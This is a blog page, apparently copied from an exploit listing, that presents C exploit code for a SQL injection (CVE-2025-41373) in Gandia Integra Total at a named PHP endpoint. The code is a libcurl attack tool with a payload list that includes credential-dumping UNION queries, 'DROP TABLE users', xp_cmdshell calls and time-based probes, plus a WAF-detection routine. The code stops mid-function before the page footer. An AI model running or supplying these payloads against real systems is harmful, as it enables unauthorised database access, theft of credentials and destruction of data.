Gandia Integra Total 4.4.2236.1 SQL注入漏洞利用代码分析(CVE-2025-41373)

本文详细分析了Gandia Integra Total系统4.4.2236.1版本存在的SQL注入漏洞(CVE-2025-41373),包含完整的C语言利用代码,支持布尔型和基于时间的注入检测,并集成WAF检测功能。

Exploit for Gandia Integra Total 4.4.2236.1 - SQL Injection CVE-2025-41373 CVE-2025-54589

2025-08-03 | CVSS 8.7

https://sploitus.com/exploit?id=EDB-ID:52388

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
/*
 * Author        : Byte Reaper
 * CVE           : CVE-2025-41373
 * Vulnerability : SQL
 * Affected Path : /encuestas/integraweb_v4/integra/html/view/hislistadoacciones.php?idestudio=<input>
 * Affected Versions : 2.1.2217.3 to v4.4.2236.1 
 * Description:
 *   此端点直接将`idestudio`参数拼接到SQL查询中,没有进行适当的清理或参数化处理,
 *   允许攻击者注入任意SQL。我们利用基于布尔和基于时间的技术进行检测。
*/

#include <stdio.h>
#include <string.h>
#include <curl/curl.h>
#include "argparse.h"
#include <stdlib.h> 
#include <time.h>
#include <unistd.h>

#define FULL_URL 4300
int verbose = 0;
int useC = 0;
const char *url = NULL;

const char *cookies = NULL;

void sleepSyscall(void)
{
    struct timespec sleepR;
    sleepR.tv_sec  = 1;    
    sleepR.tv_nsec = 0;

    __asm__ volatile 
    (
        "mov $35, %%rax\n\t"       
        "mov %0, %%rdi\n\t"        
        "xor %%rsi, %%rsi\n\t"     
        "syscall\n\t"
        :
        : "r" (&sleepR)
        : "rax", 
          "rdi", 
          "rsi",
          "rcx", 
          "r11", 
          "memory"
    );
}


void exitAssembly(void )
{
    __asm__ volatile
    (
        "xor %%rdi, %%rdi\n\t"
        "mov $0x3C, %%rax\n\t"
        "syscall\n\t"
        :
        :
        : "rax",
          "rdi"
    );
}

void uid(void)
{
    const char *mes1 = "\e[1;36m[+] Run Exploit Root Successfully\e[0m\n";
    size_t len1 = strlen(mes1);
    const char *mes2 = "\e[1;31m[-] Please Run Exploit In Root, Exit...\e[0m\n";
    size_t len2  = strlen(mes2);

    __asm__ volatile(
        "mov $107, %%rax\n\t"      
        "syscall\n\t"
        "cmp $0, %%rax\n\t"
        "JZ .root\n\t"
        "jmp .not_root\n\t"
        ".root:\n\t"
        "mov $1, %%rax\n\t"
        "mov $1, %%rdi\n\t"
        "mov %[mes1], %%rsi\n\t"
        "mov %[len1], %%rdx\n\t"
        "syscall\n\t"
        "jmp .end\n\t"
        ".not_root:\n\t"
        "mov $1, %%rax\n\t"
        "mov $1, %%rdi\n\t"
        "mov %[mes2], %%rsi\n\t"
        "mov %[len2], %%rdx\n\t"
        "syscall\n\t"

        ".end:\n\t"
        :
        : [mes1] "r" (mes1),
          [len1] "r" (len1),
          [mes2] "r" (mes2),
          [len2] "r" (len2)
        : "rax", 
          "rdi", 
          "rsi", 
          "rdx", 
          "rcx", 
          "r11", 
          "memory"
    );
}
const char *payload[] = 
{
    "' OR '1'='1",
    "\" OR \"1\"=\"1",
    "' OR 1=1 --",
    "\" OR 1=1 --",
    "' OR '1'='1' --",
    "' OR 1=1#",
    "' OR 1=1/*",
    "admin'--",
    "admin' #",
    "admin'/*",
    "' OR 1=1-- -",
    "' OR/**/1=1--",
    "'/**/OR/**/1=1#",
    "' OR%%201=1--",
    "' OR%%091=1--",        
    "' OR%0a1=1--",         
    "' OR%%0b1=1--",
    "' oR 1=1--",
    "' Or 1=1--",
    "' oR/**/1=1--",
    "' OR 0x31=0x31--",
    "1; DROP TABLE users --",
    "1; EXEC xp_cmdshell('dir') --",
    "UNION SELECT NULL,NULL,NULL --",
    "UNION SELECT username,password FROM users --",
    "' UNION SELECT NULL,NULL,NULL --",
    "' UNION SELECT NULL,NULL,NULL#",
    ",(select * from (select(sleep(4)))a)",
    "';WAITFOR DELAY '0:0:4'--",

    NULL
};

const char *word[] = 
{
    "SQL syntax",
    "syntax error",
    "mysql_fetch",
    "mysql_num_rows",
    "You have an error in your SQL syntax",
    "Warning: mysql",
    "Warning: pg_",
    "Unclosed quotation mark",
    "Microsoft OLE DB Provider for SQL Server",
    "Microsoft SQL Native Client error",
    "ODBC SQL Server Driver",
    "ORA-01756",          
    "ORA-00933",          
    "SQLSTATE",
    "PDOException",
    "invalid query",
    "mysql_numrows()",
    "mysql_result()",
    "mysql_query()",
    "Query failed",
    "Syntax error",
    "DB error",
    "error in your SQL syntax",
    "Unexpected end of SQL command",
    "Incorrect syntax near",
    "user",
    "admin",
    NULL
};


struct Mem
{
    char *buffer;
    size_t len;
};
size_t write_cb(void *ptr, size_t size, size_t nmemb, void *userdata)
{
    size_t total = size * nmemb;
    struct Mem *m = (struct Mem *)userdata;
    char *tmp = realloc(m->buffer, m->len + total + 1);
    if (tmp == NULL)
    {
        printf("\e[1;31m[-] Failed to allocate memory!\e[0m\n");
        exitAssembly();
    }
    m->buffer = tmp;
    memcpy(&(m->buffer[m->len]), ptr, total);
    m->len += total;
    m->buffer[m->len] = '\0';
    return total;
}
void clean(char *buffer, size_t len, CURL *curl,char *encode )
{
    free(buffer);
    buffer = NULL;
    len = 0;
    curl_easy_cleanup(curl);
    curl_free(encode);
}
int waf = 0;
int wafD(const char *urlW)
{
    
    CURL *curl = curl_easy_init();
    CURLcode res;
    struct Mem wafServer;
    wafServer.buffer= NULL;
    wafServer.len = 0;
    const char *payloadSql = "OR 1=1 --";
    char *encode = curl_easy_escape(curl,
         payloadSql,
          strlen(payloadSql));
    char full[FULL_URL];
    if (!encode)
    {
        printf("\e[1;31m[-] Error Encode Payload !\e[0m\n");
        clean(wafServer.buffer,
             wafServer.len,
             curl,
             encode);
        exitAssembly();
    }
    int len = snprintf(full, 
        sizeof(full), 
         "%s/encuestas/integraweb_v4/integra/html/view/hislistadoacciones.php?idestudio=%s", 
         urlW,
         encode);
    if (len < 0 || (size_t)len >= sizeof(full))
    {
        printf("\e[1;31m[-] FULL URL Is Long \n");
        clean(wafServer.buffer, wafServer.len,curl,encode);
        exitAssembly();
    }
    if (curl == NULL || !curl)
    {
        printf("\e[1;31m[-] Error Create Object CURL !\e[0m\n");
        clean(wafServer.buffer, 
            wafServer.len, 
            curl, 
            encode);
        exitAssembly();
    }
    int result = 0;
    if (curl)
    {
        printf("\e[1;35m===========================================================================================\e[0m\n");
        printf("\e[1;35m[+] Scan WAF Start...\e[0m\n");
        printf("\e[1;37m[+] FULL URL : %s\e[0m\n", full);
        curl_easy_setopt(curl,
            CURLOPT_URL,
            full);
        curl_easy_setopt(curl,
                CURLOPT_FOLLOWLOCATION,
                1L);
        curl_easy_setopt(curl,
                CURLOPT_WRITEFUNCTION,
                write_cb);
        if (verbose)
        {
            printf("\e[1;35m------------------------------------------[Verbose Curl]------------------------------------------\e[0m\n");
            curl_easy_setopt(curl,
                    CURLOPT_VERBOSE,
                    1L);
        }
        curl_easy_setopt(curl,
                    CURLOPT_WRITEDATA,
                    &wafServer);
        curl_easy_setopt(curl,
                     CURLOPT_CONNECTTIMEOUT,
                     5L);
        sleepSyscall();
        curl_easy_setopt(curl,
                    CURLOPT_TIMEOUT,
                    10L);
        curl_easy_setopt(curl,
                    CURLOPT_SSL_VERIFYPEER,
                    0L);
        curl_easy_setopt(curl,
                CURLOPT_SSL_VERIFYHOST,
             0L);
        struct curl_slist *h = NULL;
        h = curl_slist_append(h,
            "User-Agent: sqlmap");
        h = curl_slist_append(h,
                "Accept-Encoding: gzip, deflate, br");
        h = curl_slist_append(h,
                "Accept-Language: en-US,en;q=0.5");
        curl_easy_setopt(curl, CURLOPT_HTTPHEADER, h);
        res = curl_easy_perform(curl);
        curl_slist_free_all(h);
        double timeWaf = 0;
        if (res == CURLE_OK)
        {
            int a = 0;
            int b =1;
            int c = 3;
            int d = 4;
            long code;
            curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE,
                &code);
            curl_easy_getinfo(curl,
                CURLINFO_TOTAL_TIME,
                &timeWaf);

            printf("\e[1;36m[+] Check Http Code...\e[0m\n");
            printf("\e[1;32m[+] Http Code => %ld\e[0m\n", code);
            if (code == 500 || code == 403 || code == 406)
            {
                printf("\e[1;35m---------------------------------------\e[0m\n");
                printf("\e[1;34m[+] Http Code (500, 403, 406) !      \e[0m\n");
                printf("\e[1;34m[+] Waf Detect (Page Not Found)   \e[0m\n");
                printf("\e[1;35m--------------------------------------\e[0m\n");
                a = 1;
            }
            else
            {
                printf("\e[1;31m[-] Not Detected Waf (HTTP CODE) !\e[0m\n");
            }
            
            printf("\e[1;36m[+] Check Response Server (NULL)\e[0m\n");
            const char *wordWaf[] = 
            {
                "cloudflare",
                "sucuri",
                "mod_security",
                "incapsula",
                "akamai",
                "f5-big-ip",
                "waf",
                "firewall",
                "blocked",
                "access denied",
                "forbidden",
                "security",
                "protected by",
                "request rejected",
                "webshield",
                "ddos protection",
                "intrusion prevention",
                "proxy server",
                "bot detection",
                "deny",
                "you have been blocked",
                "unauthorized",
                "client blocked",
                "blocked by firewall",
                "bad request",
                "threat",
                "filtering",
                "deny access",
                "rule id",
                NULL
            };
            
            if (code >= 200 && code < 300)
            {
                if (wafServer.buffer)
                {
                    printf("\e[1;35m-------------------------------------------------------------\e[0m\n");
                    printf("\e[1;34m[+] Http Code (200,202...) !                               \e[0m\n");
                    printf("\e[1;34m[+] Waf Detect, Response is NULL And Http Code Positive \e[0m\n");
                    printf("\e[1;35m-------------------------------------------------------------\e[0m\n");
                    b = 1;
                }
                else
                {
                    printf("\e[1;31m[-] Response Buffer Not NULL\e[0m\n");
                    printf("\e[1;31m[-] Waf Not Detected (NULL Response)!\e[0m\n");
                }
                
            }
            printf("\e[1;36m[+] Check Response Buffer...\n");
            for (int u = 0; wordWaf[u] != NULL; u++)
            {
                if (strstr(wafServer.buffer, wordWaf[u]) != NULL)
                {
                    
                    printf("\e[1;35m-------------------------------------------------------------\e[0m");
                    printf("\e[1;34m[+] Waf Detect, Word Waf Found                             \e[0m\n");
                    printf("\e[1;34m[+] Word : %s                                              \e[0m\n", wordWaf[u]);
                    printf("\e[1;35m-------------------------------------------------------------\e[0m");
                    c = 1;
                }
                else
                {
                    if (verbose)
                    {
                        printf("\e[1;31m[-] Word Not Found in Response  : %s\e[0m\n", wordWaf[u]);
                        printf("\e[1;35m====================================================\e[0m\n");
                    }
                }
                
            } 
            printf("\e[1;36m[+] Check Time Response Server...\e[0m\n");
            if (timeWaf >= 3.0)
            {
                printf("\e[1;34m[+] Suspicious delay in response: %.2f sec\e[0m\n", timeWaf);
            }
            else
            {
                printf("\e[1;31m[-] Not Detect Waf (Time) !\e[0m\n");
            
            }
            printf("\e[1;35m==========================\e[0m\n");
            printf("\e[1;33m[+] Result Scan : \e[0m\n");
            
            if (a || b || c || d)
            {
                
                printf("\e[1;31m[-] Waf Detected \e[0m\n");
                result  = 0;
            }
            else 
            {
                printf("\e[1;34m[+] Not Detect Waf !\e[0m\n");
                result =1;
            }
            printf("\e[1;35m===========================================================================================\e[0m\n");

        }
        else 
        {
            printf("\e[1;31m[-] No connection reset error.\e[0m\n");
            printf("\e[1;31m[-] Error Send Request, Please Check Your Connection !\e[0m\n");
            printf("\e[1;31m[-] Error : %s\e[0m\n", curl_easy_strerror(res));
        }
    }
    curl_easy_cleanup(curl);
    free(wafServer.buffer);
    wafServer.buffer = NULL;
    wafServer.len =  0;
    return result;
}

void httpRequest(const char *url)
{
    
    CURL *curl = curl_easy_init();
    struct Mem response; 
    CURLcode res;
    response.buffer =NULL;
    response.len = 0;
    if (!curl || curl == NULL)
    {
        printf("\e[1;31m[-] Error Create Object CURL !\e[0m\n");
        printf("\e[1;31m[-] Please Check Your Connection\e[0m\n");
        exitAssembly();
    }
    int y  = 0;
    if (curl)
    {
        printf("\e[1;34m[+] Create CURL Successfully\e[0m\n");
        for (int pL = 0; payload[pL] != NULL; pL++)
        {
            char full[FULL_URL];
            char *encodePayload = curl_easy_escape(curl,
                 payload[pL], 
                 strlen(payload[pL]));
            if (!encodePayload)
            {
                printf("\e[1;31m[-] Error Encode Payload !\e[0m\n");
                clean(response.buffer,
                     response.len,
                      curl, 
                     encodePayload);
                exitAssembly();
            }

            int lenF = snprintf(full, sizeof(full), 
        
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计